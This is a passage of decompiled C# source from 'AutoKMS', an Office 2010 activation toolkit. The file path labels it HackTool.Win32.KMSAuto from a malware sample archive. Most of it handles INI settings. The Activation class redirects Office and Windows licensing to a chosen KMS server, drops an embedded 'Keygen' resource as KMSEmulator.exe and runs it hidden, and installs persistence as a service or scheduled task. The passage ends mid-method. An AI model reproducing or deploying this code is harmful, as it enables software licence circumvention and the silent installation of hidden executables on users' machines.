iniFile.IniWriteValue("EZ-Activator", "RemoveRetailKeys", Settings.EZActivatorSettings.RemoveRetailKeys.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "Retail2VL", Settings.EZActivatorSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "StarterSub2Bypass", Settings.EZActivatorSettings.StarterSub2Bypass.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeDefaultAutoKMSINIFile()
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeDefaultAutoRearmINIFile()
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeNewToolkitINIFile()
|
||||
{
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSEmulator", Settings.GlobalSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSHost", Settings.GlobalSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSServer", Settings.GlobalSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("Global", "UseKMSEmulator", Settings.GlobalSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "VerboseCheckActivation", Settings.GlobalSettings.VerboseCheckActivation.ToString());
|
||||
iniFile.IniWriteValue("Global", "ShowCMID", Settings.GlobalSettings.ShowCMID.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSPID", Settings.GlobalSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ActAttempts", Settings.EZActivatorSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "PIDAttempts", Settings.EZActivatorSettings.PIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "CMIDAttempts", Settings.EZActivatorSettings.CMIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoLicRepairAll", Settings.EZActivatorSettings.AutoLicRepairAll.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoMakeRestoreBackup", Settings.EZActivatorSettings.AutoMakeRestoreBackup.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangePID", Settings.EZActivatorSettings.ChangePID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangeCMID", Settings.EZActivatorSettings.ChangeCMID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "InstallAutoKMS", Settings.EZActivatorSettings.InstallAutoKMS.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "MAK2KMS", Settings.EZActivatorSettings.MAK2KMS.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "RemoveRetailKeys", Settings.EZActivatorSettings.RemoveRetailKeys.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "Retail2VL", Settings.EZActivatorSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "StarterSub2Bypass", Settings.EZActivatorSettings.StarterSub2Bypass.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeNewAutoKMSINIFile()
|
||||
{
|
||||
string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeNewAutoRearmINIFile()
|
||||
{
|
||||
string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void LoadINISettings()
|
||||
{
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
IniFile iniFile = new IniFile(str);
|
||||
string id = Settings.SettingsID.ID;
|
||||
if (iniFile.IniReadValue("SettingsID", "ID") == id)
|
||||
{
|
||||
Settings.GlobalSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("Global", "AutoRemoveKMSEmulator").ToLower());
|
||||
Settings.GlobalSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("Global", "AutoRemoveKMSHost").ToLower());
|
||||
Settings.GlobalSettings.KMSServer = iniFile.IniReadValue("Global", "KMSServer");
|
||||
Settings.GlobalSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("Global", "UseKMSEmulator").ToLower());
|
||||
Settings.GlobalSettings.VerboseCheckActivation = Convert.ToBoolean(iniFile.IniReadValue("Global", "VerboseCheckActivation").ToLower());
|
||||
Settings.GlobalSettings.ShowCMID = Convert.ToBoolean(iniFile.IniReadValue("Global", "ShowCMID").ToLower());
|
||||
Settings.GlobalSettings.KMSPID = iniFile.IniReadValue("Global", "KMSPID");
|
||||
Settings.AutoKMSSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("AutoKMS", "ActAttempts"));
|
||||
Settings.AutoKMSSettings.ActivateWindows = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "ActivateWindows"));
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSHost").ToLower());
|
||||
Settings.AutoKMSSettings.KMSServer = iniFile.IniReadValue("AutoKMS", "KMSServer");
|
||||
Settings.AutoKMSSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "Logging").ToLower());
|
||||
Settings.AutoKMSSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "UseKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.KMSPID = iniFile.IniReadValue("AutoKMS", "KMSPID");
|
||||
Settings.AutoRearmSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Retail2VL").ToLower());
|
||||
Settings.AutoRearmSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Logging").ToLower());
|
||||
Settings.EZActivatorSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "ActAttempts"));
|
||||
Settings.EZActivatorSettings.PIDAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "PIDAttempts"));
|
||||
Settings.EZActivatorSettings.CMIDAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "CMIDAttempts"));
|
||||
Settings.EZActivatorSettings.ChangePID = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "ChangePID").ToLower());
|
||||
Settings.EZActivatorSettings.ChangeCMID = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "ChangeCMID").ToLower());
|
||||
Settings.EZActivatorSettings.AutoLicRepairAll = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "AutoLicRepairAll").ToLower());
|
||||
Settings.EZActivatorSettings.AutoMakeRestoreBackup = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "AutoMakeRestoreBackup").ToLower());
|
||||
Settings.EZActivatorSettings.InstallAutoKMS = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "InstallAutoKMS").ToLower());
|
||||
Settings.EZActivatorSettings.MAK2KMS = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "MAK2KMS").ToLower());
|
||||
Settings.EZActivatorSettings.RemoveRetailKeys = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "RemoveRetailKeys").ToLower());
|
||||
Settings.EZActivatorSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "Retail2VL").ToLower());
|
||||
Settings.EZActivatorSettings.StarterSub2Bypass = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "StarterSub2Bypass").ToLower());
|
||||
Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
|
||||
Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
|
||||
Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.MakeDefaultToolkitINIFile();
|
||||
Settings.LoadINISettings();
|
||||
}
|
||||
}
|
||||
|
||||
public static void LoadINISettingsAutoKMS()
|
||||
{
|
||||
string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
IniFile iniFile = new IniFile(str);
|
||||
string id = Settings.SettingsID.ID;
|
||||
if (iniFile.IniReadValue("SettingsID", "ID") == id)
|
||||
{
|
||||
Settings.AutoKMSSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("AutoKMS", "ActAttempts"));
|
||||
Settings.AutoKMSSettings.ActivateWindows = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "ActivateWindows").ToLower());
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSHost").ToLower());
|
||||
Settings.AutoKMSSettings.KMSServer = iniFile.IniReadValue("AutoKMS", "KMSServer");
|
||||
Settings.AutoKMSSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "Logging").ToLower());
|
||||
Settings.AutoKMSSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "UseKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.KMSPID = iniFile.IniReadValue("AutoKMS", "KMSPID");
|
||||
Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
|
||||
Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
|
||||
Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.MakeDefaultAutoKMSINIFile();
|
||||
Settings.LoadINISettingsAutoKMS();
|
||||
}
|
||||
}
|
||||
|
||||
public static void LoadINISettingsAutoRearm()
|
||||
{
|
||||
string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
IniFile iniFile = new IniFile(str);
|
||||
string id = Settings.SettingsID.ID;
|
||||
if (iniFile.IniReadValue("SettingsID", "ID") == id)
|
||||
{
|
||||
Settings.AutoRearmSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Retail2VL"));
|
||||
Settings.AutoRearmSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Logging").ToLower());
|
||||
Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
|
||||
Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
|
||||
Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.MakeDefaultAutoRearmINIFile();
|
||||
Settings.LoadINISettingsAutoRearm();
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleReadOnly()
|
||||
{
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
{
|
||||
Settings.INIExists = true;
|
||||
if (!fileInfo.IsReadOnly)
|
||||
return;
|
||||
Settings.ReadOnlyFile = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.INIExists = false;
|
||||
try
|
||||
{
|
||||
File.Create(str).Dispose();
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
Settings.ReadOnlyFolder = true;
|
||||
Settings.ReadOnlyFile = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Settings.ReadOnlyFolder = true;
|
||||
Settings.ReadOnlyFile = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.SettingsIDObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class SettingsIDObject
|
||||
{
|
||||
public string ID;
|
||||
|
||||
public SettingsIDObject() => this.ID = "2.1.6";
|
||||
}
|
||||
}
|
||||
+232
@@ -0,0 +1,232 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Logic.Activation
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using AutoKMS.Properties;
|
||||
using HybridService;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Management;
|
||||
using System.Threading;
|
||||
using TaskScheduler;
|
||||
|
||||
namespace Office_2010_Toolkit.Logic
|
||||
{
|
||||
internal class Activation
|
||||
{
|
||||
public static string Account = "";
|
||||
public static string Password = (string) null;
|
||||
public static bool AKInstallFailure = false;
|
||||
public static bool ARInstallFailure = false;
|
||||
public static bool AKUnInstallFailure = false;
|
||||
public static bool ARUnInstallFailure = false;
|
||||
public static int LicensedProducts = 0;
|
||||
public static int UnLicensedProducts = 0;
|
||||
public static string AutoKMSInstallPath = string.Empty;
|
||||
public static string AutoRearmInstallPath = string.Empty;
|
||||
public static string KMSEmulatorInstallPath = string.Empty;
|
||||
|
||||
public static string CheckActivation(bool AppCall)
|
||||
{
|
||||
string str1 = string.Empty;
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
Activation.LicensedProducts = 0;
|
||||
Activation.UnLicensedProducts = 0;
|
||||
foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM OfficeSoftwareProtectionProduct").Get())
|
||||
{
|
||||
int int32 = Convert.ToInt32(managementObject["LicenseStatus"]);
|
||||
long int64 = Convert.ToInt64(managementObject["LicenseStatusReason"]);
|
||||
double num1 = Convert.ToDouble(managementObject["GracePeriodRemaining"]);
|
||||
string str2 = int64 != 0L ? "0x" + int64.ToString("X8") : "0 as licensed";
|
||||
if (int32 != 0)
|
||||
{
|
||||
++Activation.LicensedProducts;
|
||||
string str3 = int32 != 1 ? (int32 != 2 ? (int32 != 3 ? (int32 != 4 ? (int32 != 5 ? (int32 != 6 ? "Unknown" : "Extended Grace Period") : "Notifications Mode") : "Non-Genuine Grace Period") : "Out-of-Tolerance Grace Period") : "Grace Period") : "Activated";
|
||||
double num2 = Math.Round(num1 / 1440.0);
|
||||
str1 = str1 + "---------------------------------------" + Environment.NewLine;
|
||||
str1 = str1 + "SKU ID: " + managementObject["ID"] + Environment.NewLine;
|
||||
string str4 = managementObject["OfflineInstallationId"].ToString();
|
||||
string str5 = str4.Substring(0, 6) + "-" + str4.Substring(6, 6) + "-" + str4.Substring(12, 6) + "-" + str4.Substring(18, 6) + "-" + str4.Substring(24, 6) + "-" + str4.Substring(30, 6) + "-" + str4.Substring(36, 6) + "-" + str4.Substring(42, 6) + "-" + str4.Substring(48, 6);
|
||||
str1 = str1 + "OID: " + str5 + Environment.NewLine;
|
||||
str1 = str1 + "LICENSE NAME: Office 14, " + managementObject["LicenseFamily"] + Environment.NewLine;
|
||||
str1 = str1 + "LICENSE DESCRIPTION: " + managementObject["Description"] + Environment.NewLine;
|
||||
str1 = str1 + "LICENSE STATUS: " + str3 + Environment.NewLine;
|
||||
str1 = str1 + "ERROR CODE: " + str2 + Environment.NewLine;
|
||||
str1 = str1 + "Last 5 characters of installed product key: " + managementObject["PartialProductKey"] + Environment.NewLine;
|
||||
if (str3 == "Activated" || str3 == "Grace Period" && num1 != 0.0)
|
||||
str1 = str1 + "REMAINING GRACE: " + (object) num2 + " days (" + (object) num1 + " minute(s) before expiring)" + Environment.NewLine;
|
||||
}
|
||||
else
|
||||
++Activation.UnLicensedProducts;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return "<No installed product keys installed or possible license error>";
|
||||
}
|
||||
if (Activation.LicensedProducts == 0 && Activation.UnLicensedProducts > 0)
|
||||
return "<No installed product keys detected>";
|
||||
return Activation.LicensedProducts == 0 && Activation.UnLicensedProducts == 0 ? "<No installed product keys installed or possible license error>" : str1 + "---------------------------------------";
|
||||
}
|
||||
|
||||
public static void RemoveKMSHost()
|
||||
{
|
||||
try
|
||||
{
|
||||
new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionService.Version='" + Common.OSPPSVCVersion + "'", (ObjectGetOptions) null).InvokeMethod("ClearKeyManagementServiceMachine", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void RemoveKMSHostWindows()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingService").Get())
|
||||
empty = Convert.ToString(managementBaseObject["Version"]);
|
||||
new ManagementObject("root\\CIMV2", "SoftwareLicensingService.Version='" + empty + "'", (ObjectGetOptions) null).InvokeMethod("ClearKeyManagementServiceMachine", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void SetKMSHost()
|
||||
{
|
||||
try
|
||||
{
|
||||
ManagementObject managementObject = new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionService.Version='" + Common.OSPPSVCVersion + "'", (ObjectGetOptions) null);
|
||||
ManagementBaseObject methodParameters = managementObject.GetMethodParameters("SetKeyManagementServiceMachine");
|
||||
methodParameters["MachineName"] = (object) Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.KMSServer;
|
||||
managementObject.InvokeMethod("SetKeyManagementServiceMachine", methodParameters, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void SetKMSHostWindows()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingService").Get())
|
||||
empty = Convert.ToString(managementBaseObject["Version"]);
|
||||
ManagementObject managementObject = new ManagementObject("root\\CIMV2", "SoftwareLicensingService.Version='" + empty + "'", (ObjectGetOptions) null);
|
||||
ManagementBaseObject methodParameters = managementObject.GetMethodParameters("SetKeyManagementServiceMachine");
|
||||
methodParameters["MachineName"] = (object) Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.KMSServer;
|
||||
managementObject.InvokeMethod("SetKeyManagementServiceMachine", methodParameters, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void StartKMSEmulator()
|
||||
{
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.KMSEmulatorInstallPath = Office_2010_Toolkit.Configuration.Settings.PathsSettings.KMSEmulator;
|
||||
Common.FileCreate("KMSEmulator.exe", Resources.Keygen, Activation.KMSEmulatorInstallPath);
|
||||
new Process()
|
||||
{
|
||||
StartInfo = {
|
||||
FileName = (Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe"),
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
}
|
||||
}.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Activation.KMSEmulatorInstallPath = Common.WINDIR;
|
||||
Console.WriteLine("Could not access KMSEmulator path set in Settings, using default installation path.");
|
||||
Common.FileCreate("KMSEmulator.exe", Resources.Keygen, Activation.KMSEmulatorInstallPath);
|
||||
new Process()
|
||||
{
|
||||
StartInfo = {
|
||||
FileName = (Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe"),
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
}
|
||||
}.Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw;
|
||||
}
|
||||
Thread.Sleep(5000);
|
||||
}
|
||||
|
||||
public static void StopKMSEmulator()
|
||||
{
|
||||
foreach (Process process in Process.GetProcessesByName("KMSEmulator"))
|
||||
Common.KillProcess(process);
|
||||
if (!Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.AutoRemoveKMSEmulator)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Common.FileDelete(Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public static void MakeAutoKMSService(string AutoKMSInstallPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
ServiceInstaller.InstallService(AutoKMSInstallPath + "\\AutoKMS.exe", "AutoKMS", "AutoKMS", true, false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void MakeAutoKMSNormalTask(string AutoKMSInstallPath)
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
Task task = scheduledTasks.CreateTask("AutoKMS");
|
||||
task.ApplicationName = AutoKMSInstallPath + "\\AutoKMS.exe";
